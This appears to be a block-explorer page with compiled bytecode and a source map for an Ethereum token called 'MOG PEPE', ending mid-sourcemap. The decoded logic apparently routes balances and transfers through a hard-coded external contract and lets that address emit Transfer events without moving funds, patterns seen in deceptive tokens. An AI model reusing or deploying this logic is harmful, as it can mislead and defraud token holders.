61116057600080fd5b808483018585013760009083018401525091015292915050565b600081830360c081121561118c578182fd5b604080516060810167ffffffffffffffff82821081831117156111ab57fe5b8184528295506111ba87611036565b83526111c86020880161126a565b6020840152603f198501945060808512156111e257600080fd5b835191506060820182811082821117156111f857fe5b8085528486121561120857600080fd5b60a083019550808610828711171561121c57fe5b8585528488013595508560000b861461123457600080fd5b8581526060880135608084015280835250506080860135602082015261125c60a0870161126a565b818401529101525092915050565b803567ffffffffffffffff811681146106d557600080fd5b600060208284031215611293578081fd5b61129c82611036565b9392505050565b600080604083850312156112b5578081fd5b6112be83611036565b91506112cc60208401611036565b90509250929050565b6000806000606084860312156112e9578081fd5b6112f284611036565b925061130060208501611036565b9150604084013590509250925092565b60008060008060608587031215611325578081fd5b61132e85611036565b9350602085013567ffffffffffffffff8082111561134a578283fd5b818701915087601f83011261135d578283fd5b81358181111561136b578384fd5b886020808302850101111561137e578384fd5b95986020929092019750949560400135945092505050565b600080604083850312156113a8578182fd5b6113b183611036565b946020939093013593505050565b600080604083850312156113d1578182fd5b6113b1836110b5565b6000806000606084860312156113ee578081fd5b6113f7846110b5565b925060208401359150604084013567ffffffffffffffff811115611419578182fd5b6114258682870161104d565b9150509250925092565b600060208284031215611440578081fd5b5035919050565b600060208284031215611458578081fd5b5051919050565b60008060408385031215611471578182fd5b82359150602083013567ffffffffffffffff81111561148e578182fd5b61149a858286016110c5565b9150509250929050565b600080604083850312156114b6578182fd5b823591506112cc60208401611036565b6000806000606084860312156114da578081fd5b8335925060208085013567ffffffffffffffff808211156114f9578384fd5b818701915087601f83011261150c578384fd5b813561151a61106b82611b48565b81815284810190848601868402860187018c1015611536578788fd5b8795505b8386101561155f5761154b81611036565b83526001959095019491860191860161153a565b50965050506040870135925080831115611577578384fd5b50506114258682870161104d565b600060c08284031215611596578081fd5b61129c838361117a565b60008060e083850312156115b2578182fd5b6115bc848461117a565b915060c083013567ffffffffffffffff8111156115d7578182fd5b61149a8582860161104d565b6000815180845260208085019450808401835b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b60008251611638818460208701611b66565b9190910192915050565b60008351611654818460208801611b66565b9190910191825250602001919050565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401526040830191909152909116606082015260800190565b60006020825261129c60208301846115e3565b901515815260200190565b9115158252602082015260400190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b60008382526040602083015261171160408301846115e3565b949350505050565b9182526001600160a01b0316602082015260400190565b61ffff93909316835260208301919091526001600160a01b0316604082015260600190565b61ffff9390931683529015156020830152604082015260600190565b61ffff9790971687526001600160a01b0395909516602087015267ffffffffffffffff938416604087015260009290920b6060860152608085015260a08401521660c082015260e00190565b60006020825282518060208401526117dc816040850160208701611b66565b601f01601f19169190910160400192915050565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b6020808252601590820152744e6f7420656e6f756768207369676e61747572657360581b604082015260600190565b6020808252600f908201526e57726f6e67207369676e617475726560881b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526014908201527313995dc81cd95d081a5cc81d1bdbc81cda1bdc9d60621b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526018908201527f566f746520697320616c72656164792066696e69736865640000000000000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526017908201527f4475706c6963617465206f7261636c6520696e20536574000000000000000000604082015260600190565b6020808252601390820152722ab730baba3437b934bd32b21039b4b3b732b960691b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f5369676e61747572657320617265206e6f7420736f7274656400000000000000604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715611b4057fe5b604052919050565b600067ffffffffffffffff821115611b5c57fe5b5060209081020190565b60005b83811015611b81578181015183820152602001611b69565b838111156103fa575050600091015256fea2646970667358221220c66f07e976544f67d36a24429b7d7a7476ed5fafcabc43d7d329ac69d1daaaad64736f6c63430007040033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c806375f2d82b116100c3578063a9059cbb1161007c578063a9059cbb146102d5578063a97e5c93146102e8578063c4e41b22146102fb578063cf1a0ce114610303578063dd62ed3e14610316578063ffb6b2fa1461032957610158565b806375f2d82b1461026c5780637ddc10271461028157806392f2ea601461029457806395d89b41146102a7578063a2d7cab8146102af578063a457c2d7146102c257610158565b8063313ce56711610115578063313ce567146101eb57806339509351146102005780633a712a36146102135780634fd7795414610226578063633a0d181461024657806370a082311461025957610158565b806303fa56431461015d57806306fdde0314610172578063095ea7b3146101905780630a55ec25146101b057806318160ddd146101c357806323b872dd146101d8575b600080fd5b61017061016b3660046115a0565b61033c565b005b61017a610361565b60405161018791906117bd565b60405180910390f35b6101a361019e366004611396565b610384565b60405161018791906116b6565b6101706101be3660046114c6565b61039a565b6101cb610400565b60405161018791906116d1565b6101a36101e63660046112d5565b6104af565b6101f3610518565b6040516101879190611b16565b6101a361020e366004611396565b61051d565b6101cb6102213660046114a4565b610550565b61023961023436600461142f565b610587565b6040516101879190611664565b6101cb610254366004611585565b6105b1565b6101cb610267366004611282565b610604565b6102746106da565b60405161018791906116a3565b6101cb61028f3660046113bf565b61073c565b6101706102a2366004611310565b610755565b61017a61080f565b6101706102bd36600461145f565b61082d565b6101a36102d0366004611396565b6109d7565b6101a36102e3366004611396565b610a32565b6101a36102f6366004611282565b610a3f565b6101cb610518565b6101a361031136600461142f565b610a54565b6101cb6103243660046112a3565b610a69565b6101706103373660046113da565b610a94565b6000610347836105b1565b90506103538183610aa8565b61035c83610bd6565b505050565b6040805180820190915260088152674d4f47205045504560c01b60208201525b90565b6000610391338484610bd9565b50600192915050565b60006103ba84846000815181106103ad57fe5b6020026020010151610550565b905060028351116103e65760405162461bcd60e51b81526004016103dd906118c1565b60405180910390fd5b6103f08183610aa8565b6103fa8484610d40565b50505050565b6000807f000000000000000000000000128edf2ff17e8e4adc2796ecaeb8b63a6f50b58b6001600160a01b031663c4e41b226040518163ffffffff1660e01b815260040160206040518083038186803b15801561045c57600080fd5b505afa158015610470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104949190611447565b90506000198110156104a7579050610381565b505060025490565b60006104bc848484610ea0565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156105005760405162461bcd60e51b81526004016103dd906119aa565b61050d8533858403610bd9565b506001949350505050565b601290565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916103919185908501610bd9565b60006105e7838360405160200161056993929190611730565b60405160208183030381529060405280519060200120905092915050565b6003818154811061059757600080fd5b6000918252602090912001546001600160a01b0316905081565b80516020808301516040808501518051805190850151828601519284015193516000976105e79761da7a97919691959201611771565b604051602081830303815290604052805190602001209050919050565b6000807f000000000000000000000000128edf2ff17e8e4adc2796ecaeb8b63a6f50b58b6001600160a01b0316633a712a366000856040518363ffffffff1660e01b8152600401610656929190611719565b60206040518083038186803b15801561066e57600080fd5b505afa158015610682573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611447565b90506000198110156106b95790506106d5565b50506001600160a01b0381166000908152602081905260409020545b919050565b6060600380548060200260200160405190810160405280929190818152602001828054801561073257602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610714575b5050505050905090565b600061b012838360405160200161056993929190611755565b336001600160a01b037f000000000000000000000000128edf2ff17e8e4adc2796ecaeb8b63a6f50b58b161461078a57600080fd5b60005b82811015610808578383828181106107a157fe5b90506020020160208101906107b69190611282565b6001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107f891906116d1565b60405180910390a360010161078d565b5050505050565b6040805180820190915260048152635045504560e01b602082015290565b8060200151516041146108525760405162461bcd60e51b81526004016103dd906117f0565b60208082015190810151604082015160608301519192909160001a907f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156108ae5760405162461bcd60e51b81526004016103dd906118ef565b8160ff16601b141580156108c657508160ff16601c14155b156108e35760405162461bcd60e51b81526004016103dd90611968565b60606040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250905060008188604051602001610932929190611642565b60405160208183030381529060405280519060200120905086600001516001600160a01b03166001828689896040516000815260200160405260405161097b94939291906116da565b6020604051602081039080840390855afa15801561099d573d6000803e3d6000fd5b505050602060405103516001600160a01b0316146109cd5760405162461bcd60e51b81526004016103dd90611856565b5050505050505050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610a1b5760405162461bcd60e51b81526004016103dd90611ad1565b610a283385858403610bd9565b5060019392505050565b6000610391338484610ea0565b60046020526000908152604090205460ff1681565b60056020526000908152604090205460ff1681565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6000610aa0848461073c565b90506103fa81835b600380546002020481511015610ad05760405162461bcd60e51b81526004016103dd90611827565b60008281526005602052604090205460ff1615610aff5760405162461bcd60e51b81526004016103dd90611931565b80516000805b82811015610bb7576000848281518110610b1b57fe5b602090810291909101810151516001600160a01b0381166000908152600490925260409091205490915060ff16610b645760405162461bcd60e51b81526004016103dd90611a29565b6001600160a01b038116838111610b8d5760405162461bcd60e51b81526004016103dd90611a9a565b809350610bad87878581518110610ba057fe5b602002602001015161082d565b5050600101610b05565b505050600091825250600560205260409020805460ff19166001179055565b50565b6001600160a01b038316610bff5760405162461bcd60e51b81526004016103dd90611a56565b6001600160a01b038216610c255760405162461bcd60e51b81526004016103dd9061187f565b336001600160a01b0384161415610cd857604051637ddc102760e01b81526001600160a01b037f000000000000000000000000128edf2ff17e8e4adc2796ecaeb8b63a6f50b58b1690637ddc102790610c86906001906000906004016116c1565b60206040518083038186803b158015610c9e57600080fd5b505afa158015610cb2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd69190611447565b505b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d339085906116d1565b60405180910390a3505050565b60035460005b81811015610d9d5760006004600060038481548110610d6157fe5b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055600101610d46565b508151610db1906003906020850190610fbc565b5060035460005b81811015610e605760046000858381518110610dd057fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff1615610e145760405162461bcd60e51b81526004016103dd906119f2565b600160046000868481518110610e2657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610db8565b507fbf8eff3db76b38ea899a5a32c8b2bede5ec5a339a2c5080495d1b154f2b5f21e8484604051610e929291906116f8565b60405180910390a150505050565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ee391906116d1565b60405180910390a360007f000000000000000000000000128edf2ff17e8e4adc2796ecaeb8b63a6f50b58b6001600160a01b031663a933401585858533604051602401610f339493929190611678565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610f6c9190611626565b6000604051808303816000865af19150503d8060008114610fa9576040519150601f19603f3d011682016040523d82523d6000602084013e610fae565b606091505b50509050806103fa57600080fd5b828054828255906000526020600020908101928215611011579160200282015b8281111561101157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190610fdc565b5061101d929150611021565b5090565b5b8082111561101d5760008155600101611022565b80356001600160a01b03811681146106d557600080fd5b600082601f83011261105d578081fd5b813561107061106b82611b48565b611b24565b818152915060208083019084810160005b848110156110aa57611098888484358a01016110c5565b84529282019290820190600101611081565b505050505092915050565b803580151581146106d557600080fd5b6000604082840312156110d6578081fd5b6040516040810167ffffffffffffffff82821081831117156110f457fe5b8160405282935061110485611036565b835260209150818501358181111561111b57600080fd5b8501601f8101871361112c57600080fd5b80358281111561113857fe5b61114a601f8201601f19168501611b24565b9250808352878482840101111561116057600080fd5b808483018585013760009083018401525091015292915050565b600081830360c081121561118c578182fd5b604080516060810167ffffffffffffffff82821081831117156111ab57fe5b8184528295506111ba87611036565b83526111c86020880161126a565b6020840152603f198501945060808512156111e257600080fd5b835191506060820182811082821117156111f857fe5b8085528486121561120857600080fd5b60a083019550808610828711171561121c57fe5b8585528488013595508560000b861461123457600080fd5b8581526060880135608084015280835250506080860135602082015261125c60a0870161126a565b818401529101525092915050565b803567ffffffffffffffff811681146106d557600080fd5b600060208284031215611293578081fd5b61129c82611036565b9392505050565b600080604083850312156112b5578081fd5b6112be83611036565b91506112cc60208401611036565b90509250929050565b6000806000606084860312156112e9578081fd5b6112f284611036565b925061130060208501611036565b9150604084013590509250925092565b60008060008060608587031215611325578081fd5b61132e85611036565b9350602085013567ffffffffffffffff8082111561134a578283fd5b818701915087601f83011261135d578283fd5b81358181111561136b578384fd5b886020808302850101111561137e578384fd5b95986020929092019750949560400135945092505050565b600080604083850312156113a8578182fd5b6113b183611036565b946020939093013593505050565b600080604083850312156113d1578182fd5b6113b1836110b5565b6000806000606084860312156113ee578081fd5b6113f7846110b5565b925060208401359150604084013567ffffffffffffffff811115611419578182fd5b6114258682870161104d565b9150509250925092565b600060208284031215611440578081fd5b5035919050565b600060208284031215611458578081fd5b5051919050565b60008060408385031215611471578182fd5b82359150602083013567ffffffffffffffff81111561148e578182fd5b61149a858286016110c5565b9150509250929050565b600080604083850312156114b6578182fd5b823591506112cc60208401611036565b6000806000606084860312156114da578081fd5b8335925060208085013567ffffffffffffffff808211156114f9578384fd5b818701915087601f83011261150c578384fd5b813561151a61106b82611b48565b81815284810190848601868402860187018c1015611536578788fd5b8795505b8386101561155f5761154b81611036565b83526001959095019491860191860161153a565b50965050506040870135925080831115611577578384fd5b50506114258682870161104d565b600060c08284031215611596578081fd5b61129c838361117a565b60008060e083850312156115b2578182fd5b6115bc848461117a565b915060c083013567ffffffffffffffff8111156115d7578182fd5b61149a8582860161104d565b6000815180845260208085019450808401835b8381101561161b5781516001600160a01b0316875295820195908201906001016115f6565b509495945050505050565b60008251611638818460208701611b66565b9190910192915050565b60008351611654818460208801611b66565b9190910191825250602001919050565b6001600160a01b0391909116815260200190565b6001600160a01b03948516815292841660208401526040830191909152909116606082015260800190565b60006020825261129c60208301846115e3565b901515815260200190565b9115158252602082015260400190565b90815260200190565b93845260ff9290921660208401526040830152606082015260800190565b60008382526040602083015261171160408301846115e3565b949350505050565b9182526001600160a01b0316602082015260400190565b61ffff93909316835260208301919091526001600160a01b0316604082015260600190565b61ffff9390931683529015156020830152604082015260600190565b61ffff9790971687526001600160a01b0395909516602087015267ffffffffffffffff938416604087015260009290920b6060860152608085015260a08401521660c082015260e00190565b60006020825282518060208401526117dc816040850160208701611b66565b601f01601f19169190910160400192915050565b6020808252601f908201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604082015260600190565b6020808252601590820152744e6f7420656e6f756768207369676e61747572657360581b604082015260600190565b6020808252600f908201526e57726f6e67207369676e617475726560881b604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526014908201527313995dc81cd95d081a5cc81d1bdbc81cda1bdc9d60621b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b60208082526018908201527f566f746520697320616c72656164792066696e69736865640000000000000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b60208082526017908201527f4475706c6963617465206f7261636c6520696e20536574000000000000000000604082015260600190565b6020808252601390820152722ab730baba3437b934bd32b21039b4b3b732b960691b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f5369676e61747572657320617265206e6f7420736f7274656400000000000000604082015260600190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715611b4057fe5b604052919050565b600067ffffffffffffffff821115611b5c57fe5b5060209081020190565b60005b83811015611b81578181015183820152602001611b69565b838111156103fa575050600091015256fea2646970667358221220c66f07e976544f67d36a24429b7d7a7476ed5fafcabc43d7d329ac69d1daaaad64736f6c63430007040033

Deployed Bytecode Sourcemap

16188:2588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17670:194;;;;;;:::i;:::-;;:::i;:::-;;6380:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6143:167;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;16395:348::-;;;;;;:::i;:::-;;:::i;6972:224::-;;;:::i;:::-;;;;;;;:::i;8554:429::-;;;;;;:::i;:::-;;:::i;5912:84::-;;;:::i;:::-;;;;;;;:::i;10099:211::-;;;;;;:::i;:::-;;:::i;15391:346::-;;;;;;:::i;:::-;;:::i;16258:27::-;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;14865:518::-;;;;;;:::i;:::-;;:::i;9443:247::-;;;;;;:::i;:::-;;:::i;18159:103::-;;;:::i;:::-;;;;;;;:::i;15745:334::-;;;;;;:::i;:::-;;:::i;3631:260::-;;;;;;:::i;:::-;;:::i;6595:94::-;;;:::i;13538:1319::-;;;;;;:::i;:::-;;:::i;7699:373::-;;;;;;:::i;:::-;;:::i;9196:184::-;;;;;;:::i;:::-;;:::i;16292:40::-;;;;;;:::i;:::-;;:::i;16087:92::-;;;:::i;16339:47::-;;;;;;:::i;:::-;;:::i;6756:151::-;;;;;;:::i;:::-;;:::i;17938:213::-;;;;;;:::i;:::-;;:::i;17670:194::-;17762:11;17776:19;17790:4;17776:13;:19::i;:::-;17762:33;;17804:28;17816:3;17821:10;17804:11;:28::i;:::-;17841:15;17851:4;17841:9;:15::i;:::-;17670:194;;;:::o;6380:96::-;6451:17;;;;;;;;;;;;-1:-1:-1;;;6451:17:0;;;;6380:96;;:::o;6143:167::-;6226:4;6243:37;6252:10;6264:7;6273:6;6243:8;:37::i;:::-;-1:-1:-1;6298:4:0;6143:167;;;;:::o;16395:348::-;16529:11;16543:41;16555:13;16570:10;16581:1;16570:13;;;;;;;;;;;;;;16543:11;:41::i;:::-;16529:55;;16621:1;16601:10;:17;:21;16593:54;;;;-1:-1:-1;;;16593:54:0;;;;;;;:::i;:::-;;;;;;;;;16656:28;16668:3;16673:10;16656:11;:28::i;:::-;16693:42;16709:13;16724:10;16693:15;:42::i;:::-;16395:348;;;;:::o;6972:224::-;7033:7;7053:20;7076:12;-1:-1:-1;;;;;7076:27:0;;:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7053:52;;-1:-1:-1;;7111:12:0;:26;7107:51;;;7146:12;-1:-1:-1;7139:19:0;;7107:51;-1:-1:-1;;7176:12:0;;6972:224;:::o;8554:429::-;8660:4;8677:47;8698:6;8706:9;8717:6;8677:20;:47::i;:::-;-1:-1:-1;;;;;8764:19:0;;8737:24;8764:19;;;:11;:19;;;;;;;;8784:10;8764:31;;;;;;;;8814:26;;;;8806:79;;;;-1:-1:-1;;;8806:79:0;;;;;;;:::i;:::-;8896:55;8905:6;8913:10;8944:6;8925:16;:25;8896:8;:55::i;:::-;-1:-1:-1;8971:4:0;;8554:429;-1:-1:-1;;;;8554:429:0:o;5912:84::-;5986:2;5912:84;:::o;10099:211::-;10213:10;10187:4;10234:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10234:32:0;;;;;;;;;;10187:4;;10204:76;;10225:7;;10234:45;;10204:8;:76::i;15391:346::-;15492:14;15608:5;15636:13;15672:3;15575:139;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;15547:182;;;;;;15524:205;;15391:346;;;;:::o;16258:27::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16258:27:0;;-1:-1:-1;16258:27:0;:::o;14865:518::-;15103:13;;15139:11;;;;;15173:7;;;;;:16;;:26;;15222:29;;;;15274:15;;;;15312:10;;;;15041:319;;14958:14;;15041:319;;15074:6;;15103:13;;15139:11;;15274:15;15041:319;;:::i;:::-;;;;;;;;;;;;;15013:362;;;;;;14990:385;;14865:518;;;:::o;9443:247::-;9517:7;9537:13;9553:12;-1:-1:-1;;;;;9553:24:0;;9578:1;9581:7;9553:36;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9537:52;-1:-1:-1;;;9595:28:0;;9591:55;;;9640:5;-1:-1:-1;9625:21:0;;9591:55;-1:-1:-1;;;;;;;9664:18:0;;:9;:18;;;;;;;;;;;9443:247;;;;:::o;18159:103::-;18208:16;18244:10;18237:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18237:17:0;;;;;;;;;;;;;;;;;;;;;;;18159:103;:::o;15745:334::-;15852:14;15967:6;15996:13;16032:5;15934:122;;;;;;;;;;:::i;3631:260::-;3744:10;-1:-1:-1;;;;;3766:12:0;3744:35;;3736:44;;;;;;3796:9;3791:92;3811:21;;;3791:92;;;3861:10;;3872:1;3861:13;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3844:39:0;3853:6;-1:-1:-1;;;;;3844:39:0;;3876:6;3844:39;;;;;;:::i;:::-;;;;;;;;3834:3;;3791:92;;;;3631:260;;;;:::o;6595:94::-;6668:13;;;;;;;;;;;;-1:-1:-1;;;6668:13:0;;;;6595:94;:::o;13538:1319::-;13629:3;:13;;;:20;13653:2;13629:26;13625:104;;13674:41;;-1:-1:-1;;;13674:41:0;;;;;;;:::i;13625:104::-;13893:13;;;;;14146:20;;;14140:27;14209:4;14194:20;;14188:27;13868:22;14250:20;;14244:27;14140;;14188;;13802:9;14236:36;;14347:66;14319:94;;14299:203;;;14444:44;;-1:-1:-1;;;14444:44:0;;;;;;;:::i;14299:203::-;14520:1;:7;;14525:2;14520:7;;:18;;;;;14531:1;:7;;14536:2;14531:7;;14520:18;14516:99;;;14557:44;;-1:-1:-1;;;14557:44:0;;;;;;;:::i;14516:99::-;14627:19;:56;;;;;;;;;;;;;;;;;;;14696:20;14746:6;14754;14729:32;;;;;;;;;:::i;:::-;;;;;;;;;;;;;14719:43;;;;;;14696:66;;14819:3;:10;;;-1:-1:-1;;;;;14783:46:0;:32;14793:12;14807:1;14810;14813;14783:32;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14783:46:0;;14775:74;;;;-1:-1:-1;;;14775:74:0;;;;;;;:::i;:::-;13538:1319;;;;;;;;:::o;7699:373::-;7848:10;7792:4;7836:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7836:32:0;;;;;;;;;;7887:35;;;;7879:85;;;;-1:-1:-1;;;7879:85:0;;;;;;;:::i;:::-;7975:65;7984:10;7996:7;8024:15;8005:16;:34;7975:8;:65::i;:::-;-1:-1:-1;8060:4:0;;7699:373;-1:-1:-1;;;7699:373:0:o;9196:184::-;9282:4;9299:51;9320:10;9332:9;9343:6;9299:20;:51::i;16292:40::-;;;;;;;;;;;;;;;:::o;16339:47::-;;;;;;;;;;;;;;;:::o;6756:151::-;-1:-1:-1;;;;;6872:18:0;;;6845:7;6872:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6756:151::o;17938:213::-;18052:11;18066:40;18085:13;18100:5;18066:18;:40::i;:::-;18052:54;;18115:28;18127:3;18132:10;16755:721;16894:1;16874:17;;16870:1;:21;:25;16849:10;:17;:46;;16841:80;;;;-1:-1:-1;;;16841:80:0;;;;;;;:::i;:::-;16939:23;;;;:15;:23;;;;;;;;16938:24;16930:61;;;;-1:-1:-1;;;16930:61:0;;;;;;;:::i;:::-;17016:17;;17002:11;;17073:355;17090:6;17088:1;:8;17073:355;;;17114:14;17131:10;17142:1;17131:13;;;;;;;;;;;;;;;;;;;:20;-1:-1:-1;;;;;17172:16:0;;17131:20;17172:16;;;:8;:16;;;;;;;;17131:20;;-1:-1:-1;17172:16:0;;17164:48;;;;-1:-1:-1;;;17164:48:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17244:12:0;;17277:25;;;17269:63;;;;-1:-1:-1;;;17269:63:0;;;;;;;:::i;:::-;17359:11;17345:25;;17381:37;17396:6;17404:10;17415:1;17404:13;;;;;;;;;;;;;;17381:14;:37::i;:::-;-1:-1:-1;;17098:3:0;;17073:355;;;-1:-1:-1;;;17438:23:0;;;;-1:-1:-1;17438:15:0;:23;;;;;:30;;-1:-1:-1;;17438:30:0;17464:4;17438:30;;;16755:721::o;17872:58::-;;:::o;10748:422::-;-1:-1:-1;;;;;10850:19:0;;10842:68;;;;-1:-1:-1;;;10842:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10929:21:0;;10921:68;;;;-1:-1:-1;;;10921:68:0;;;;;;;:::i;:::-;11004:10;-1:-1:-1;;;;;11004:19:0;;;11000:65;;;11025:40;;-1:-1:-1;;;11025:40:0;;-1:-1:-1;;;;;11025:12:0;:31;;;;:40;;11057:4;;11063:1;;11025:40;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11000:65;-1:-1:-1;;;;;11078:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;11130:32;;;;;11108:6;;11130:32;:::i;:::-;;;;;;;;10748:422;;;:::o;18270:503::-;18374:10;:17;18357:14;18400:88;18420:9;18416:1;:13;18400:88;;;18473:5;18447:8;:23;18456:10;18467:1;18456:13;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18456:13:0;18447:23;;;;;;;;;;;;:31;;-1:-1:-1;;18447:31:0;;;;;;;;;;-1:-1:-1;18431:3:0;18400:88;;;-1:-1:-1;18496:19:0;;;;:10;;:19;;;;;:::i;:::-;-1:-1:-1;18541:10:0;:17;18524:14;18567:150;18587:9;18583:1;:13;18567:150;;;18623:8;:19;18632:6;18639:1;18632:9;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18623:19:0;;;;;;;;;;;-1:-1:-1;18623:19:0;;;;18622:20;18614:56;;;;-1:-1:-1;;;18614:56:0;;;;;;;:::i;:::-;18703:4;18681:8;:19;18690:6;18697:1;18690:9;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18681:19:0;;;;;;;;;;;-1:-1:-1;18681:19:0;:26;;-1:-1:-1;;18681:26:0;;;;;;;;;;-1:-1:-1;18598:3:0;18567:150;;;;18730:35;18743:13;18758:6;18730:35;;;;;;;:::i;:::-;;;;;;;;18270:503;;;;:::o;12824:243::-;12935:2;-1:-1:-1;;;;;12920:26:0;12929:4;-1:-1:-1;;;;;12920:26:0;;12939:6;12920:26;;;;;;:::i;:::-;;;;;;;;12949:6;12968:12;-1:-1:-1;;;;;12960:26:0;13010:10;13022:4;13028:2;13032:6;13040:10;12987:64;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12987:64:0;;;;;;;;;;;12960:92;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12948:104;;;13062:1;13054:10;;;;;-1:-1:-1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;14:175:1;84:20;;-1:-1:-1;;;;;133:31:1;;123:42;;113:2;;179:1;176;169:12;194:686;;317:3;310:4;302:6;298:17;294:27;284:2;;339:5;332;325:20;284:2;383:6;370:20;408:69;423:53;469:6;423:53;:::i;:::-;408:69;:::i;:::-;511:21;;;399:78;-1:-1:-1;551:4:1;571:14;;;;605:15;;;638:1;648:226;662:6;659:1;656:13;648:226;;;723:76;795:3;790:2;783:3;770:17;762:6;758:30;754:39;723:76;:::i;:::-;711:89;;820:12;;;;852;;;;684:1;677:9;648:226;;;652:3;;;;;274:606;;;;:::o;885:162::-;952:20;;1008:13;;1001:21;991:32;;981:2;;1037:1;1034;1027:12;1052:1056;;1159:4;1147:9;1142:3;1138:19;1134:30;1131:2;;;1181:5;1174;1167:20;1131:2;1218:4;1212:11;1262:4;1254:6;1250:17;1286:18;1354:6;1342:10;1339:22;1334:2;1322:10;1319:18;1316:46;1313:2;;;1365:9;1313:2;1398:10;1392:4;1385:24;1427:6;1418:15;;1457:31;1478:9;1457:31;:::i;:::-;1449:6;1442:47;1508:2;1498:12;;1561:2;1550:9;1546:18;1533:32;1588:2;1580:6;1577:14;1574:2;;;1604:1;1